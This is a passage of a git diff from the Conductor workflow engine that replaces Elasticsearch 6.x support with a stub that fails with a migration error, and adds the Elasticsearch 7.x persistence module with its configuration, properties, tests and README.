"inputParameters": { + "name": "Orkes" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": { + "data": "${get_random_fact.output.response.body.fact}" + }, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} + }] \ No newline at end of file diff --git a/es6-persistence/README.md b/es6-persistence/README.md new file mode 100644 index 0000000..a1eccc4 --- /dev/null +++ b/es6-persistence/README.md @@ -0,0 +1,47 @@ +# Elasticsearch 6.x Persistence - DEPRECATED + +⚠️ **This module is deprecated and provides only a migration error message.** + +## What Happened? + +Elasticsearch 6.x reached end-of-life in November 2020 and is no longer supported. + +The `conductor.indexing.type=elasticsearch_v6` configuration has been deprecated. Users should migrate to Elasticsearch 7.x. + +## Migration + +Change your configuration from: + +```properties +conductor.indexing.type=elasticsearch_v6 +conductor.elasticsearch.url=http://localhost:9200 +``` + +To: + +```properties +conductor.indexing.type=elasticsearch +conductor.elasticsearch.url=http://localhost:9200 +``` + +All other `conductor.elasticsearch.*` properties remain the same. + +## Why the Change? + +- Elasticsearch 6.x reached end-of-life in November 2020 +- Security vulnerabilities are no longer patched +- Elasticsearch 7.x provides better performance and features +- Reduces maintenance burden of supporting legacy versions + +## Legacy Code Reference + +If you need the original Elasticsearch 6.x persistence module code for reference, it has been archived at: + +https://github.com/conductor-oss/conductor-es6-persistence + +**Note:** The archived module is no longer maintained and should not be used in production. + +## See Also + +- Legacy Elasticsearch 6.x Module: https://github.com/conductor-oss/conductor-es6-persistence +- Elasticsearch 7.x Support: Use `conductor.indexing.type=elasticsearch` instead diff --git a/es6-persistence/build.gradle b/es6-persistence/build.gradle new file mode 100644 index 0000000..ddead49 --- /dev/null +++ b/es6-persistence/build.gradle @@ -0,0 +1,23 @@ +/* + * Copyright 2026 Conductor Authors + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ + +// Deprecation stub for Elasticsearch 6.x support +// This module only contains configuration to throw a helpful error message +// when users try to use the deprecated elasticsearch_v6 indexing type. + +dependencies { + compileOnly 'org.springframework.boot:spring-boot-starter' + compileOnly 'jakarta.annotation:jakarta.annotation-api' + + testImplementation 'org.springframework.boot:spring-boot-starter-test' +} diff --git a/es6-persistence/src/main/java/com/netflix/conductor/es6/config/ElasticSearch6DeprecationConfiguration.java b/es6-persistence/src/main/java/com/netflix/conductor/es6/config/ElasticSearch6DeprecationConfiguration.java new file mode 100644 index 0000000..3ab9631 --- /dev/null +++ b/es6-persistence/src/main/java/com/netflix/conductor/es6/config/ElasticSearch6DeprecationConfiguration.java @@ -0,0 +1,76 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es6.config; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.annotation.Configuration; + +import jakarta.annotation.PostConstruct; + +/** + * Deprecation stub for Elasticsearch 6.x support. + * + *

    This configuration activates when {@code conductor.indexing.type=elasticsearch_v6} is used, + * which is now deprecated. Elasticsearch 6.x reached end-of-life in November 2020. + * + *

    Migration Required: + * + *

    Change your configuration to use Elasticsearch 7.x: + * + * 

    {@code
+ * # FROM:
+ * conductor.indexing.type=elasticsearch_v6
+ * conductor.elasticsearch.url=http://localhost:9200
+ *
+ * # TO:
+ * conductor.indexing.type=elasticsearch
+ * conductor.elasticsearch.url=http://localhost:9200
+ * }
    + * + *

    For legacy code reference, the Elasticsearch 6.x implementation has been archived at: conductor-es6-persistence + * + * @see Elasticsearch 6.x + * Archive + */ +@Configuration +@ConditionalOnProperty(name = "conductor.indexing.type", havingValue = "elasticsearch_v6") +public class ElasticSearch6DeprecationConfiguration { + + @PostConstruct + public void failWithMigrationMessage() { + String message = + "\n" + + "╔════════════════════════════════════════════════════════════════════════════╗\n" + + "║ CONFIGURATION ERROR: Elasticsearch 6.x support is deprecated ║\n" + + "╠════════════════════════════════════════════════════════════════════════════╣\n" + + "║ ║\n" + + "║ Elasticsearch 6.x reached end-of-life in November 2020. ║\n" + + "║ ║\n" + + "║ REQUIRED ACTION: Upgrade to Elasticsearch 7.x ║\n" + + "║ ║\n" + + "║ FROM: ║\n" + + "║ conductor.indexing.type=elasticsearch_v6 ║\n" + + "║ ║\n" + + "║ TO: ║\n" + + "║ conductor.indexing.type=elasticsearch # For Elasticsearch 7.x ║\n" + + "║ ║\n" + + "║ All other conductor.elasticsearch.* properties remain the same. ║\n" + + "║ ║\n" + + "║ Legacy code: github.com/conductor-oss/conductor-es6-persistence ║\n" + + "║ ║\n" + + "╚════════════════════════════════════════════════════════════════════════════╝\n"; + + throw new IllegalStateException(message); + } +} diff --git a/es6-persistence/src/main/java/com/netflix/conductor/es6/config/ElasticSearchConditions.java b/es6-persistence/src/main/java/com/netflix/conductor/es6/config/ElasticSearchConditions.java new file mode 100644 index 0000000..a02b57f --- /dev/null +++ b/es6-persistence/src/main/java/com/netflix/conductor/es6/config/ElasticSearchConditions.java @@ -0,0 +1,46 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es6.config; + +import org.springframework.boot.autoconfigure.condition.AllNestedConditions; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; + +public class ElasticSearchConditions { + + private ElasticSearchConditions() {} + + public static class ElasticSearchV6Enabled extends AllNestedConditions { + + ElasticSearchV6Enabled() { + super(ConfigurationPhase.PARSE_CONFIGURATION); + } + + @SuppressWarnings("unused") + @ConditionalOnProperty( + name = "conductor.indexing.enabled", + havingValue = "true", + matchIfMissing = true) + static class enabledIndexing {} + + @SuppressWarnings("unused") + @ConditionalOnProperty( + name = "conductor.elasticsearch.version", + havingValue = "6", + matchIfMissing = true) + static class enabledES6 {} + + @SuppressWarnings("unused") + @ConditionalOnProperty(name = "conductor.indexing.type", havingValue = "elasticsearch") + static class elasticsearchIndexingType {} + } +} diff --git a/es6-persistence/src/test/java/com/netflix/conductor/es6/config/ElasticSearch6DeprecationTest.java b/es6-persistence/src/test/java/com/netflix/conductor/es6/config/ElasticSearch6DeprecationTest.java new file mode 100644 index 0000000..1014932 --- /dev/null +++ b/es6-persistence/src/test/java/com/netflix/conductor/es6/config/ElasticSearch6DeprecationTest.java @@ -0,0 +1,150 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es6.config; + +import org.junit.Test; + +import static org.junit.Assert.*; + +/** Tests that verify the deprecated 'elasticsearch_v6' indexing type throws a helpful error. */ +public class ElasticSearch6DeprecationTest { + + // ========================================================================= + // Test: PostConstruct always throws IllegalStateException + // ========================================================================= + + @Test(expected = IllegalStateException.class) + public void testPostConstructAlwaysThrows() { + // The @PostConstruct method should always throw + ElasticSearch6DeprecationConfiguration config = + new ElasticSearch6DeprecationConfiguration(); + config.failWithMigrationMessage(); + } + + // ========================================================================= + // Test: Error message contains migration instructions + // ========================================================================= + + @Test + public void testDeprecationConfigurationThrowsHelpfulError() { + ElasticSearch6DeprecationConfiguration config = + new ElasticSearch6DeprecationConfiguration(); + + try { + config.failWithMigrationMessage(); + fail("Expected IllegalStateException"); + } catch (IllegalStateException e) { + String message = e.getMessage(); + + // Verify error message contains key information + assertTrue( + "Error should mention it's a configuration error", + message.contains("CONFIGURATION ERROR")); + + assertTrue( + "Error should mention Elasticsearch 6.x is deprecated", + message.contains("deprecated") || message.contains("Elasticsearch 6.x")); + + assertTrue( + "Error should show the old configuration", + message.contains("conductor.indexing.type=elasticsearch_v6")); + + assertTrue( + "Error should show elasticsearch option", + message.contains("conductor.indexing.type=elasticsearch")); + + assertTrue( + "Error should mention Elasticsearch 7.x", + message.contains("Elasticsearch 7.x") || message.contains("7.x")); + + assertTrue( + "Error should mention EOL", + message.contains("end-of-life") || message.contains("November 2020")); + } + } + + // ========================================================================= + // Test: Deprecation message formatting is readable + // ========================================================================= + + @Test + public void testDeprecationMessageIsWellFormatted() { + ElasticSearch6DeprecationConfiguration config = + new ElasticSearch6DeprecationConfiguration(); + + try { + config.failWithMigrationMessage(); + fail("Expected IllegalStateException"); + } catch (IllegalStateException e) { + String message = e.getMessage(); + + // Verify message has box formatting (makes it stand out in logs) + assertTrue("Message should have top border", message.contains("╔")); + + assertTrue("Message should have bottom border", message.contains("╚")); + + // Verify message has multiple lines (not just a single line error) + String[] lines = message.split("\n"); + assertTrue("Message should be multi-line for readability", lines.length > 5); + + // Verify message is not too verbose (should fit in terminal) + assertTrue("Message should be concise (under 30 lines)", lines.length < 30); + } + } + + // ========================================================================= + // Test: Verify GitHub archive link is present + // ========================================================================= + + @Test + public void testErrorMessageIncludesGitHubArchiveLink() { + ElasticSearch6DeprecationConfiguration config = + new ElasticSearch6DeprecationConfiguration(); + + try { + config.failWithMigrationMessage(); + fail("Expected IllegalStateException"); + } catch (IllegalStateException e) { + String message = e.getMessage(); + + // Verify GitHub archive link is included + assertTrue( + "Error should include GitHub archive link", + message.contains("github.com/conductor-oss/conductor-es6-persistence") + || message.contains("conductor-es6-persistence")); + } + } + + // ========================================================================= + // Test: Verify migration instructions mention property compatibility + // ========================================================================= + + @Test + public void testErrorMessageMentionsPropertyCompatibility() { + ElasticSearch6DeprecationConfiguration config = + new ElasticSearch6DeprecationConfiguration(); + + try { + config.failWithMigrationMessage(); + fail("Expected IllegalStateException"); + } catch (IllegalStateException e) { + String message = e.getMessage(); + + // Verify message mentions that other properties remain the same + assertTrue( + "Error should mention properties remain the same", + message.contains("remain the same") + || message.contains("conductor.elasticsearch.*")); + } + } +} diff --git a/es7-persistence/README.md b/es7-persistence/README.md new file mode 100644 index 0000000..7f2a35a --- /dev/null +++ b/es7-persistence/README.md @@ -0,0 +1,97 @@ +# ES7 Persistence + +This module provides ES7 persistence when indexing workflows and tasks. + +If you need Elasticsearch 8.x, use the `es8-persistence` module instead. + +### ES Breaking changes + +From ES6 to ES7 there were significant breaking changes which affected ES7-persistence module implementation. +* Mapping type deprecation +* Templates API +* TransportClient deprecation + +More information can be found here: https://www.elastic.co/guide/en/elasticsearch/reference/current/breaking-changes-7.0.html + + +## Build + +1. In order to use the ES7, you must change the following files from ES6 to ES7: + +https://github.com/conductor-oss/conductor/blob/main/build.gradle +https://github.com/conductor-oss/conductor/blob/main/server/src/main/resources/application.properties + +In file: + +- /build.gradle + +change ext['elasticsearch.version'] from revElasticSearch6 to revElasticSearch7 + + +In file: + +- /server/src/main/resources/application.properties + +change conductor.elasticsearch.version from 6 to 7 + +Also you need to recreate dependencies.lock files with ES7 dependencies. To do that delete all dependencies.lock files and then run: + +``` +./gradlew generateLock updateLock saveLock +``` + + +2. To use the ES7 for all modules include test-harness, you must change also the following files: + +https://github.com/conductor-oss/conductor/blob/main/test-harness/build.gradle +https://github.com/conductor-oss/conductor/blob/main/test-harness/src/test/java/com/netflix/conductor/test/integration/AbstractEndToEndTest.java + +In file: + +- /test-harness/build.gradle + +* change module inclusion from 'es6-persistence' to 'es7-persistence' + +In file: + +- /test-harness/src/test/java/com/netflix/conductor/test/integration/AbstractEndToEndTest.java + +* change conductor.elasticsearch.version from 6 to 7 +* change DockerImageName.parse("docker.elastic.co/elasticsearch/elasticsearch-oss").withTag("6.8.12") to DockerImageName.parse("docker.elastic.co/elasticsearch/elasticsearch-oss").withTag("7.6.2") + + + +### Configuration +(Default values shown below) + +This module uses the following configuration options: +```properties +# A comma separated list of schema/host/port of the ES nodes to communicate with. +# Schema can be `http` or `https`. If schema is ignored then `http` transport will be used; +# Since ES deprecated TransportClient, conductor will use only the REST transport protocol. +conductor.elasticsearch.url= + +#The name of the workflow and task index. +conductor.elasticsearch.indexPrefix=conductor + +#Worker Queue size used in executor service for async methods in IndexDao. +conductor.elasticsearch.asyncWorkerQueueSize=100 + +#Maximum thread pool size in executor service for async methods in IndexDao +conductor.elasticsearch.asyncMaxPoolSize=12 + +#Timeout (in seconds) for the in-memory to be flushed if not explicitly indexed +conductor.elasticsearch.asyncBufferFlushTimeout=10 +``` + + +### BASIC Authentication +If you need to pass user/password to connect to ES, add the following properties to your config file +* conductor.elasticsearch.username +* conductor.elasticsearch.password + +Example +``` +conductor.elasticsearch.username=someusername +conductor.elasticsearch.password=somepassword +``` diff --git a/es7-persistence/build.gradle b/es7-persistence/build.gradle new file mode 100644 index 0000000..e07a032 --- /dev/null +++ b/es7-persistence/build.gradle @@ -0,0 +1,52 @@ +plugins { + id 'com.gradleup.shadow' version '8.3.6' + id 'java' +} + +configurations { + // Prevent shaded dependencies from being published, while keeping them available to tests + shadow.extendsFrom compileOnly + testRuntime.extendsFrom compileOnly +} + +ext['elasticsearch.version'] = revElasticSearch7 + +dependencies { + + implementation project(':conductor-common') + implementation project(':conductor-core') + implementation project(':conductor-common-persistence') + + compileOnly 'org.springframework.boot:spring-boot-starter' + compileOnly 'org.springframework.retry:spring-retry' + + implementation "commons-io:commons-io:${revCommonsIo}" + implementation "org.apache.commons:commons-lang3" + implementation "com.google.guava:guava:${revGuava}" + + implementation "com.fasterxml.jackson.core:jackson-databind" + implementation "com.fasterxml.jackson.core:jackson-core" + + implementation "org.elasticsearch.client:elasticsearch-rest-client:${revElasticSearch7}" + implementation "org.elasticsearch.client:elasticsearch-rest-high-level-client:${revElasticSearch7}" + + testImplementation "net.java.dev.jna:jna:5.7.0" + testImplementation "org.awaitility:awaitility:${revAwaitility}" + testImplementation "org.testcontainers:elasticsearch:${revTestContainer}" + testImplementation project(':conductor-test-util').sourceSets.test.output + testImplementation 'org.springframework.retry:spring-retry' + +} + +// Drop the classifier and delete jar task actions to replace the regular jar artifact with the shadow artifact +shadowJar { + configurations = [project.configurations.shadow] + archiveClassifier = null + + // Service files are not included by default. + mergeServiceFiles { + include 'META-INF/services/*' + include 'META-INF/maven/*' + } +} +jar.dependsOn shadowJar diff --git a/es7-persistence/src/main/java/com/netflix/conductor/es7/config/ElasticSearchConditions.java b/es7-persistence/src/main/java/com/netflix/conductor/es7/config/ElasticSearchConditions.java new file mode 100644 index 0000000..cbbcac1 --- /dev/null +++ b/es7-persistence/src/main/java/com/netflix/conductor/es7/config/ElasticSearchConditions.java @@ -0,0 +1,46 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.config; + +import org.springframework.boot.autoconfigure.condition.AllNestedConditions; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; + +public class ElasticSearchConditions { + + private ElasticSearchConditions() {} + + public static class ElasticSearchV7Enabled extends AllNestedConditions { + + ElasticSearchV7Enabled() { + super(ConfigurationPhase.PARSE_CONFIGURATION); + } + + @SuppressWarnings("unused") + @ConditionalOnProperty( + name = "conductor.indexing.enabled", + havingValue = "true", + matchIfMissing = true) + static class enabledIndexing {} + + @SuppressWarnings("unused") + @ConditionalOnProperty( + name = "conductor.elasticsearch.version", + havingValue = "7", + matchIfMissing = true) + static class enabledES7 {} + + @SuppressWarnings("unused") + @ConditionalOnProperty(name = "conductor.indexing.type", havingValue = "elasticsearch") + static class elasticsearchIndexingType {} + } +} diff --git a/es7-persistence/src/main/java/com/netflix/conductor/es7/config/ElasticSearchProperties.java b/es7-persistence/src/main/java/com/netflix/conductor/es7/config/ElasticSearchProperties.java new file mode 100644 index 0000000..b99f411 --- /dev/null +++ b/es7-persistence/src/main/java/com/netflix/conductor/es7/config/ElasticSearchProperties.java @@ -0,0 +1,244 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.config; + +import java.net.MalformedURLException; +import java.net.URL; +import java.time.Duration; +import java.time.temporal.ChronoUnit; +import java.util.Arrays; +import java.util.List; +import java.util.stream.Collectors; + +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.boot.convert.DurationUnit; + +@ConfigurationProperties("conductor.elasticsearch") +public class ElasticSearchProperties { + + /** + * The comma separated list of urls for the elasticsearch cluster. Format -- + * host1:port1,host2:port2 + */ + private String url = "localhost:9300"; + + /** The index prefix to be used when creating indices */ + private String indexPrefix = "conductor"; + + /** The color of the elasticserach cluster to wait for to confirm healthy status */ + private String clusterHealthColor = "green"; + + /** The size of the batch to be used for bulk indexing in async mode */ + private int indexBatchSize = 1; + + /** The size of the queue used for holding async indexing tasks */ + private int asyncWorkerQueueSize = 100; + + /** The maximum number of threads allowed in the async pool */ + private int asyncMaxPoolSize = 12; + + /** + * The time in seconds after which the async buffers will be flushed (if no activity) to prevent + * data loss + */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration asyncBufferFlushTimeout = Duration.ofSeconds(10); + + /** The number of shards that the index will be created with */ + private int indexShardCount = 5; + + /** The number of replicas that the index will be configured to have */ + private int indexReplicasCount = 1; + + /** The number of task log results that will be returned in the response */ + private int taskLogResultLimit = 10; + + /** The timeout in milliseconds used when requesting a connection from the connection manager */ + private int restClientConnectionRequestTimeout = -1; + + /** Used to control if index management is to be enabled or will be controlled externally */ + private boolean autoIndexManagementEnabled = true; + + /** + * Document types are deprecated in ES6 and removed from ES7. This property can be used to + * disable the use of specific document types with an override. This property is currently used + * in ES6 module. + * + *

    Note that this property will only take effect if {@link + * ElasticSearchProperties#isAutoIndexManagementEnabled} is set to false and index management is + * handled outside of this module. + */ + private String documentTypeOverride = ""; + + /** Elasticsearch basic auth username */ + private String username; + + /** Elasticsearch basic auth password */ + private String password; + + /** + * Whether to wait for index refresh when updating tasks and workflows. When enabled, the + * operation will block until the changes are visible for search. This guarantees immediate + * search visibility but can significantly impact performance (20-30s delays). Defaults to false + * for better performance. + */ + private boolean waitForIndexRefresh = false; + + public String getUrl() { + return url; + } + + public void setUrl(String url) { + this.url = url; + } + + public String getIndexPrefix() { + return indexPrefix; + } + + public void setIndexPrefix(String indexPrefix) { + this.indexPrefix = indexPrefix; + } + + public String getClusterHealthColor() { + return clusterHealthColor; + } + + public void setClusterHealthColor(String clusterHealthColor) { + this.clusterHealthColor = clusterHealthColor; + } + + public int getIndexBatchSize() { + return indexBatchSize; + } + + public void setIndexBatchSize(int indexBatchSize) { + this.indexBatchSize = indexBatchSize; + } + + public int getAsyncWorkerQueueSize() { + return asyncWorkerQueueSize; + } + + public void setAsyncWorkerQueueSize(int asyncWorkerQueueSize) { + this.asyncWorkerQueueSize = asyncWorkerQueueSize; + } + + public int getAsyncMaxPoolSize() { + return asyncMaxPoolSize; + } + + public void setAsyncMaxPoolSize(int asyncMaxPoolSize) { + this.asyncMaxPoolSize = asyncMaxPoolSize; + } + + public Duration getAsyncBufferFlushTimeout() { + return asyncBufferFlushTimeout; + } + + public void setAsyncBufferFlushTimeout(Duration asyncBufferFlushTimeout) { + this.asyncBufferFlushTimeout = asyncBufferFlushTimeout; + } + + public int getIndexShardCount() { + return indexShardCount; + } + + public void setIndexShardCount(int indexShardCount) { + this.indexShardCount = indexShardCount; + } + + public int getIndexReplicasCount() { + return indexReplicasCount; + } + + public void setIndexReplicasCount(int indexReplicasCount) { + this.indexReplicasCount = indexReplicasCount; + } + + public int getTaskLogResultLimit() { + return taskLogResultLimit; + } + + public void setTaskLogResultLimit(int taskLogResultLimit) { + this.taskLogResultLimit = taskLogResultLimit; + } + + public int getRestClientConnectionRequestTimeout() { + return restClientConnectionRequestTimeout; + } + + public void setRestClientConnectionRequestTimeout(int restClientConnectionRequestTimeout) { + this.restClientConnectionRequestTimeout = restClientConnectionRequestTimeout; + } + + public boolean isAutoIndexManagementEnabled() { + return autoIndexManagementEnabled; + } + + public void setAutoIndexManagementEnabled(boolean autoIndexManagementEnabled) { + this.autoIndexManagementEnabled = autoIndexManagementEnabled; + } + + public String getDocumentTypeOverride() { + return documentTypeOverride; + } + + public void setDocumentTypeOverride(String documentTypeOverride) { + this.documentTypeOverride = documentTypeOverride; + } + + public String getUsername() { + return username; + } + + public void setUsername(String username) { + this.username = username; + } + + public String getPassword() { + return password; + } + + public void setPassword(String password) { + this.password = password; + } + + public boolean isWaitForIndexRefresh() { + return waitForIndexRefresh; + } + + public void setWaitForIndexRefresh(boolean waitForIndexRefresh) { + this.waitForIndexRefresh = waitForIndexRefresh; + } + + public List toURLs() { + String clusterAddress = getUrl(); + String[] hosts = clusterAddress.split(","); + return Arrays.stream(hosts) + .map( + host -> + (host.startsWith("http://") || host.startsWith("https://")) + ? toURL(host) + : toURL("http://" + host)) + .collect(Collectors.toList()); + } + + private URL toURL(String url) { + try { + return new URL(url); + } catch (MalformedURLException e) { + throw new IllegalArgumentException(url + "can not be converted to java.net.URL"); + } + } +} diff --git a/es7-persistence/src/main/java/com/netflix/conductor/es7/config/ElasticSearchV7Configuration.java b/es7-persistence/src/main/java/com/netflix/conductor/es7/config/ElasticSearchV7Configuration.java new file mode 100644 index 0000000..f1f67cf --- /dev/null +++ b/es7-persistence/src/main/java/com/netflix/conductor/es7/config/ElasticSearchV7Configuration.java @@ -0,0 +1,109 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.config; + +import java.net.URL; +import java.util.List; + +import org.apache.http.HttpHost; +import org.apache.http.auth.AuthScope; +import org.apache.http.auth.UsernamePasswordCredentials; +import org.apache.http.client.CredentialsProvider; +import org.apache.http.impl.client.BasicCredentialsProvider; +import org.elasticsearch.client.RestClient; +import org.elasticsearch.client.RestClientBuilder; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Conditional; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Primary; +import org.springframework.retry.backoff.FixedBackOffPolicy; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.dao.IndexDAO; +import com.netflix.conductor.es7.dao.index.ElasticSearchRestDAOV7; + +import com.fasterxml.jackson.databind.ObjectMapper; + +@Configuration(proxyBeanMethods = false) +@EnableConfigurationProperties(ElasticSearchProperties.class) +@Conditional(ElasticSearchConditions.ElasticSearchV7Enabled.class) +public class ElasticSearchV7Configuration { + + private static final Logger log = LoggerFactory.getLogger(ElasticSearchV7Configuration.class); + + @Bean + public RestClient restClient(RestClientBuilder restClientBuilder) { + return restClientBuilder.build(); + } + + @Bean + public RestClientBuilder elasticRestClientBuilder(ElasticSearchProperties properties) { + RestClientBuilder builder = RestClient.builder(convertToHttpHosts(properties.toURLs())); + + if (properties.getRestClientConnectionRequestTimeout() > 0) { + builder.setRequestConfigCallback( + requestConfigBuilder -> + requestConfigBuilder.setConnectionRequestTimeout( + properties.getRestClientConnectionRequestTimeout())); + } + + if (properties.getUsername() != null && properties.getPassword() != null) { + log.info( + "Configure ElasticSearch with BASIC authentication. User:{}", + properties.getUsername()); + final CredentialsProvider credentialsProvider = new BasicCredentialsProvider(); + credentialsProvider.setCredentials( + AuthScope.ANY, + new UsernamePasswordCredentials( + properties.getUsername(), properties.getPassword())); + builder.setHttpClientConfigCallback( + httpClientBuilder -> + httpClientBuilder.setDefaultCredentialsProvider(credentialsProvider)); + } else { + log.info("Configure ElasticSearch with no authentication."); + } + return builder; + } + + @Primary // If you are including this project, it's assumed you want ES to be your indexing + // mechanism + @Bean + public IndexDAO es7IndexDAO( + RestClientBuilder restClientBuilder, + @Qualifier("es7RetryTemplate") RetryTemplate retryTemplate, + ElasticSearchProperties properties, + ObjectMapper objectMapper) { + String url = properties.getUrl(); + return new ElasticSearchRestDAOV7( + restClientBuilder, retryTemplate, properties, objectMapper); + } + + @Bean + public RetryTemplate es7RetryTemplate() { + RetryTemplate retryTemplate = new RetryTemplate(); + FixedBackOffPolicy fixedBackOffPolicy = new FixedBackOffPolicy(); + fixedBackOffPolicy.setBackOffPeriod(1000L); + retryTemplate.setBackOffPolicy(fixedBackOffPolicy); + return retryTemplate; + } + + private HttpHost[] convertToHttpHosts(List hosts) { + return hosts.stream() + .map(host -> new HttpHost(host.getHost(), host.getPort(), host.getProtocol())) + .toArray(HttpHost[]::new); + } +} diff --git a/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/index/BulkRequestBuilderWrapper.java b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/index/BulkRequestBuilderWrapper.java new file mode 100644 index 0000000..2994025 --- /dev/null +++ b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/index/BulkRequestBuilderWrapper.java @@ -0,0 +1,55 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.index; + +import java.util.Objects; + +import org.elasticsearch.action.ActionFuture; +import org.elasticsearch.action.bulk.BulkRequestBuilder; +import org.elasticsearch.action.bulk.BulkResponse; +import org.elasticsearch.action.index.IndexRequest; +import org.elasticsearch.action.update.UpdateRequest; +import org.springframework.lang.NonNull; + +/** Thread-safe wrapper for {@link BulkRequestBuilder}. */ +public class BulkRequestBuilderWrapper { + private final BulkRequestBuilder bulkRequestBuilder; + + public BulkRequestBuilderWrapper(@NonNull BulkRequestBuilder bulkRequestBuilder) { + this.bulkRequestBuilder = Objects.requireNonNull(bulkRequestBuilder); + } + + public void add(@NonNull UpdateRequest req) { + synchronized (bulkRequestBuilder) { + bulkRequestBuilder.add(Objects.requireNonNull(req)); + } + } + + public void add(@NonNull IndexRequest req) { + synchronized (bulkRequestBuilder) { + bulkRequestBuilder.add(Objects.requireNonNull(req)); + } + } + + public int numberOfActions() { + synchronized (bulkRequestBuilder) { + return bulkRequestBuilder.numberOfActions(); + } + } + + public ActionFuture execute() { + synchronized (bulkRequestBuilder) { + return bulkRequestBuilder.execute(); + } + } +} diff --git a/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/index/BulkRequestWrapper.java b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/index/BulkRequestWrapper.java new file mode 100644 index 0000000..65d857c --- /dev/null +++ b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/index/BulkRequestWrapper.java @@ -0,0 +1,51 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

